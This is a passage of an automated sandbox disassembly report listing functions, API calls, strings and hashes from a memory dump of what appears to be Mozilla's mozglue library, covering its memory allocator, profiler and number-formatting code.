strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5936BF

Strings

get , xrefs: 6C593205
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C59378D
set , xrefs: 6C5936EC

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 3c657895743be147621ddbc288274a2f7c9a50aa8e805dcce5c0ed2db6d6cffd
Instruction ID: cf7af9d40bdca1533cc1c4cdc97278996c1e5aa63fb04560f96e63b3cb8638f3
Opcode Fuzzy Hash: 3c657895743be147621ddbc288274a2f7c9a50aa8e805dcce5c0ed2db6d6cffd
Instruction Fuzzy Hash: E8324EB06083C1CFD724CF24C8906AEBBE2AFC9318F548D5DE59987751DB30A94ACB56

Function 6C587E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

name, xrefs: 6C587ECF, 6C588335
(pre-xul), xrefs: 6C587E88
schema, xrefs: 6C5881E3, 6C588311
data, xrefs: 6C588280, 6C5883E1
v\l, xrefs: 6C588207

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$v\l
API String ID: 3412268980-2238264584
Opcode ID: c17adc8ecaf538fd3dd9471bf41afd41564ee2dba1909e645c00b86d817141cc
Instruction ID: afbb17b1d95ed357bfaada201cd95d714db7bb87466ec6e950bb830831255ce1
Opcode Fuzzy Hash: c17adc8ecaf538fd3dd9471bf41afd41564ee2dba1909e645c00b86d817141cc
Instruction Fuzzy Hash: C5E17DB1B043408BC710CF69CC5065BFBE9BBD5318F548A2DE899A7791DBB0DD098B92

Function 6C5A5FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C5A6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C5A6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(QTl,?), ref: 6C5A6046
OutputDebugStringA.KERNEL32(?,QTl,?), ref: 6C5A6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5A6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5A6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5A6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C5C148E), ref: 6C5A6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,QTl,00000000,?), ref: 6C5A60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5A60C4

Strings

QTl, xrefs: 6C5A5FFC, 6C5A6042, 6C5A6045, 6C5A60B3

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: QTl
API String ID: 3835517998-3469782099
Opcode ID: d11878fec9f8ab24135ad16e7649a8f25e13c49180d541b053f96bd75ac4de51
Instruction ID: 223bed4bfa22a57cf8615807cf0757f6441f68f1f8798954f70463e0f60fe032
Opcode Fuzzy Hash: d11878fec9f8ab24135ad16e7649a8f25e13c49180d541b053f96bd75ac4de51
Instruction Fuzzy Hash: 4F21D671A002089BDF206F69DC09A9E7BB8FF45214F01842CE85A97240CB74AA59CFD5

Function 6C565E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C565EDB
memset.VCRUNTIME140(ewZl,000000E5,?), ref: 6C565F27
LeaveCriticalSection.KERNEL32(?), ref: 6C565FB2
memset.VCRUNTIME140(ewZl,000000E5,?), ref: 6C5661F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C567652

Strings

ewZl, xrefs: 6C565E9C, 6C565F22, 6C5661ED
MOZ_CRASH(), xrefs: 6C567BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5672F8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5672E3
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C567BCD, 6C567C1F, 6C567C34, 6C5680FD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C56730D

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewZl
API String ID: 2613674957-3866090778
Opcode ID: 16d5acc8509f13f7e4cbadca3a6215e70bf8586e9b756a5d15937ce982cd7d6a
Instruction ID: 2115e50a6cf8fbb2a259f3409d56a61300aa317921bdbb02cd68e7b11522ba6d
Opcode Fuzzy Hash: 16d5acc8509f13f7e4cbadca3a6215e70bf8586e9b756a5d15937ce982cd7d6a
Instruction Fuzzy Hash: 52336C716057018FD304CF2AC990615FBE2BF85368F29C7ADE96A8BBA5D731E841CB41

Function 6C594820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

schema, xrefs: 6C5948C1
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C594CAF
ProfileBuffer parse error: %s, xrefs: 6C594DD9
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C594D0A
data, xrefs: 6C5949B4
-%llu, xrefs: 6C594825
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C594DB8, 6C594DD8
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C594D65
\l, xrefs: 6C594F88

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: free
String ID: \l$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-1493625211
Opcode ID: d2d19254d9b5275c242ae9d369a31885166c5d08ac04d8e11a875fcfc353f19f
Instruction ID: 182217edcc97594e062d4b01f3b69d8182574e95619459c8e57eb7bbe7283295
Opcode Fuzzy Hash: d2d19254d9b5275c242ae9d369a31885166c5d08ac04d8e11a875fcfc353f19f
Instruction Fuzzy Hash: A6721F75918B858BD322CF34C85139BF7E5BFDA344F108B1EE4996B611EB709886CB42

Function 6C56D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5CE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C57D1C5), ref: 6C56D4F2
LeaveCriticalSection.KERNEL32(6C5CE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C57D1C5), ref: 6C56D50B

Part of subcall function 6C54CFE0: EnterCriticalSection.KERNEL32(6C5CE784), ref: 6C54CFF6
Part of subcall function 6C54CFE0: LeaveCriticalSection.KERNEL32(6C5CE784), ref: 6C54D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C57D1C5), ref: 6C56D52E
EnterCriticalSection.KERNEL32(6C5CE7DC), ref: 6C56D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C56D6A6
LeaveCriticalSection.KERNEL32(6C5CE7DC), ref: 6C56D712
LeaveCriticalSection.KERNEL32(6C5CE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C57D1C5), ref: 6C56D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C56D7EA

Strings

<jemalloc>, xrefs: 6C56D827
: (malloc) Error initializing arena, xrefs: 6C56D82C

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: ff95c92a0c4b4cd1344b9f3179583180687d0054e2fcf9943783f101367aef2e
Instruction ID: d19b7744989eae999253ec0294a93d862162adc47b0543f41077e74279e60ee5
Opcode Fuzzy Hash: ff95c92a0c4b4cd1344b9f3179583180687d0054e2fcf9943783f101367aef2e
Instruction Fuzzy Hash: 6591C071A047418FD714CF2ACC9076AB7E1EB89314F258D2EE59A87F91D770E844CB86

Function 6C5A4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C5A4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5A4F2E
moz_xmalloc.MOZGLUE ref: 6C5A4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C5A4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5A52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5A52E6
Sleep.KERNEL32(00000010), ref: 6C5A5481
free.MOZGLUE(?), ref: 6C5A5498

Strings

(, xrefs: 6C5A5250

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 475e6b9747805e06791d7c79079d2d2eb4a64c7f00712bf118dae24be585eda3
Instruction ID: a3d624a5e1ee88fcea65d2ebe0cd37e57e357d9901caf624261b62fddaabbd84
Opcode Fuzzy Hash: 475e6b9747805e06791d7c79079d2d2eb4a64c7f00712bf118dae24be585eda3
Instruction Fuzzy Hash: CEF1B071A18F008FC716CF39C85062BB7F5AFD6384F468B2EF846A7651DB3198468B85

Function 6C5A7030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C5A7046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C5A7060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5A707E

Part of subcall function 6C5581B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5581DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5A7096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5A709C
LocalFree.KERNEL32(?), ref: 6C5A70AA

Strings

### ERROR: %s: %s, xrefs: 6C5A7087
(null), xrefs: 6C5A706A, 6C5A7083

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 6db426c69aefc00c3c6754eccea2583ffe76b43979d0294d59e6bf2d769cc89f
Instruction ID: 40a6c235b8f39a49351f915663c5eb35d80508a2715cd2810df3f17ded63ae00
Opcode Fuzzy Hash: 6db426c69aefc00c3c6754eccea2583ffe76b43979d0294d59e6bf2d769cc89f
Instruction Fuzzy Hash: B901BEB1B00104AFDB006BA4DC4ADAF7BBCEF49655F02042DF505A7241D6716A148BA5

Function 6C569E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C569EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C569F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C569F34
LeaveCriticalSection.KERNEL32(?), ref: 6C56A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C56A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C56A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C56A8B1, 6C56A8D4, 6C56A8EF

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 2de822db3d6ccb298209375a1d307fc683d3f337a7dcace4f62add39a779bf6c
Instruction ID: b3c282ec374b23a5c053071a8aae82b824324719de67d0ad2353f91c4d0933a8
Opcode Fuzzy Hash: 2de822db3d6ccb298209375a1d307fc683d3f337a7dcace4f62add39a779bf6c
Instruction Fuzzy Hash: F4727E72A057218FD714CF2AC940615FBE1BF85728F29C76DE8699BBA1D335E841CB80

Function 6C592C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C592C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C592C61

Part of subcall function 6C544DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C544E5A
Part of subcall function 6C544DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C544E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C592C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C592E2D

Part of subcall function 6C5581B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5581DE

Strings

(root), xrefs: 6C59354F
expected a Time entry, xrefs: 6C592E36
ProfileBuffer parse error: %s, xrefs: 6C592E3B

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 581d0263011533f51da61534f40c39b3930be0500da3f3448f2d6adb964235a2
Instruction ID: becf8f5c33aeea518608f89dfa627c243a6daf3961ee5d746a53066cf1f45bd0
Opcode Fuzzy Hash: 581d0263011533f51da61534f40c39b3930be0500da3f3448f2d6adb964235a2
Instruction Fuzzy Hash: D791BCB0608780CFC724CF24CC9469EB7E1EFC9258F50495DE99A9B761EB30D94ACB52

Function 6C5A9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C5A9F3D
__aulldiv.LIBCMT ref: 6C5A9F77
__aullrem.LIBCMT ref: 6C5A9F8C
__aulldiv.LIBCMT ref: 6C5AA023

Strings

-Infinity, xrefs: 6C5A9E60, 6C5A9E7B
NaN, xrefs: 6C5A9EAB

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 6ca91252cb8d06e5627e0fbe3b7c1d175d3e6bf90c3f05572d3edd12f4246076
Instruction ID: 59ad59d0b35b86f21f9beac0be4f9cef067816a49034bc3b16d81636da14e3b4
Opcode Fuzzy Hash: 6ca91252cb8d06e5627e0fbe3b7c1d175d3e6bf90c3f05572d3edd12f4246076
Instruction Fuzzy Hash: 7BC18C71A00319DBDB14CFEACC90B9EB7B6FB88314F544529D405ABB80D771AD4ACB91

Function 6C54D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

1, xrefs: 6C54DBDD
9, xrefs: 6C54DE7F
-, xrefs: 6C54D7DD
@, xrefs: 6C54DAF6
8, xrefs: 6C54DC08
0, xrefs: 6C54DC7F
, xrefs: 6C54DA88
0, xrefs: 6C54D852

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: bc92448a422825d0979eb6bdfd4b4a4cb7a689a572b0f7a44fc0199667229357
Instruction ID: a4f7ed75a0a93c24251c6a6264219f6504bc74c618639419abcb3fd475bb1a7c
Opcode Fuzzy Hash: bc92448a422825d0979eb6bdfd4b4a4cb7a689a572b0f7a44fc0199667229357
Instruction Fuzzy Hash: 7962CE7160C3458FDB15CF19C8907AEBBF2AF86358F18CA4DE4D54BA92D3359885CB82

Function 6C5B545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C5B8A4B

Strings

~qTl, xrefs: 6C5B56C7, 6C5B9269, 6C5B921F, 6C5B9459, 6C5B5740, 6C5B5703, 6C5B948F

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: memset
String ID: ~qTl
API String ID: 2221118986-1699004407
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: d63a36df3b47ec32c6aa5dfb148cd9cf518e16515e9215c679aa6cbb7c1ce3a1
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 43B1DA72E0121ACFDB14CF68CC917E9BBB2EF95314F1802A9C549EB791D730A985CB91

Function 6C5B542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C5B88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C5B925C

Strings

~qTl, xrefs: 6C5B56C7, 6C5B9269, 6C5B921F, 6C5B9459, 6C5B5740, 6C5B5703, 6C5B948F

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: memset
String ID: ~qTl
API String ID: 2221118986-1699004407
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: e3876717972c30a095ec1883dff24493eda1fa528a64c5330ef82ab2f3012a01
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 79B1B472E0520ACBDB14CE58CC916EDFBB2AF95314F180269C549EB785E730A989CB91

Function 6C5AC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C5AC0E9), ref: 6C5AC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C5AC437
FreeLibrary.KERNEL32(?,6C5AC0E9), ref: 6C5AC44C

Strings

ntdll.dll, xrefs: 6C5AC413
NtQueryVirtualMemory, xrefs: 6C5AC431

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 8b26a77f50412c3ff4782d7ad64d7f948709e4ab1815b90d2f360b61d5feef2f
Instruction ID: df90e208e2aa0c6042613094ad107298a76acdb8ba3c79a0245cb1e35ae7121d
Opcode Fuzzy Hash: 8b26a77f50412c3ff4782d7ad64d7f948709e4ab1815b90d2f360b61d5feef2f
